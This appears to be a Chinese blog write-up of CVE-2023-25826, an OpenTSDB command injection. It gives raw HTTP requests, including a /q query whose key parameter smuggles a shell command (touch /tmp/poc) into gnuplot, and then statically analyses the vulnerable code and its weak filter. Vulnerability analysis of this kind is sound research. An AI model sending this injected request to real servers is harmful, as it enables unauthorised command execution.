命令注入漏洞(CVE-2023-25826)

网上简单搜了一下发现没啥人写这个的分析,那我就发了。

debug环境懒得配了,静态看吧。

漏洞复现

先插一条数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /api/put/ HTTP/1.1
Host: your-ip:4242
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 150

{
"metric": "sys.cpu.nice",
"timestamp": 1346846400,
"value": 20,
"tags": {
"host": "web01",
"dc": "lga"
}
}

然后发包。

1
2
3
4
5
6
7
8
9
GET /q?start=2000/10/21-00:00:00&m=sum:sys.cpu.nice&o=&ylabel=1&xrange=&y2range=[42:42]&key=%3Bsystem%20%22touch%20/tmp/poc%22%20%22&wxh=1516x644&style=linespoint&baba=lala&grid=t&json HTTP/1.1
Host: your-ip:4242
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close


可以看到key参数注了。进docker把环境copy出来,jadx打开lib/tsdb-2.4.1.jar

分析

全局搜索下/api/put

image-20240805112024751

可以看到q这个路由了,GraphHandler看看。

首先看下payload:

image-20240805112203569

明显是shell的命令注入,基础知识:Runtime肯定不能这么注。因为他对一些shell的符号如; & |做了处理,那么九成是ProcessBuilder了。

其实Runtime.exec就是封装了ProcessBuilder。

直接搜ProcessBuilder:

image-20240805112447335

GNUPLOT

image-20240805112741837

可以发现是bin目录下的这个

image-20240805112802744

image-20240805112811911

basepath

接下来关注下这个str参数。

是basepath

image-20240805114332430

basepath怎么设置的,在这

image-20240805114409710

这里我去config里看了下,没搜到tsd.http.cachedir, 所以我去/etc/openstdb.conf文件里看了下

image-20240805114455927

plot

再看下这个参数,他在这里可能是干什么的。

image-20240805114656654

如图,相当于一个map放了各种参数,在runGnuplot的时候直接把他dump到file里了。

image-20240805114736701

根据上述分析我们已经知道了bashpath在哪了,直接去/tmp/opentsdb看看有什么

image-20240805114921193

到这就很清晰了,这个路由的作用就是调用mygnuplot.sh脚本,get参数还可以设置到临时文件里,然后再调这个临时文件。但是由于过滤不当造成了shell命令注入。

现在回头看过滤。

image-20240805115032924

很菜的过滤,直接就绕了。

总结:

其实和刚入门靶场里的system(“ping $_GET[1]”)没啥区别,只不过代码多了点。


命令注入漏洞(CVE-2023-25826)
http://example.com/2024/08/05/opentsdb命令注入漏洞CVE-2023-25826/
Aŭtoro
zhattatey
Postigita
August 5, 2024
Lizenta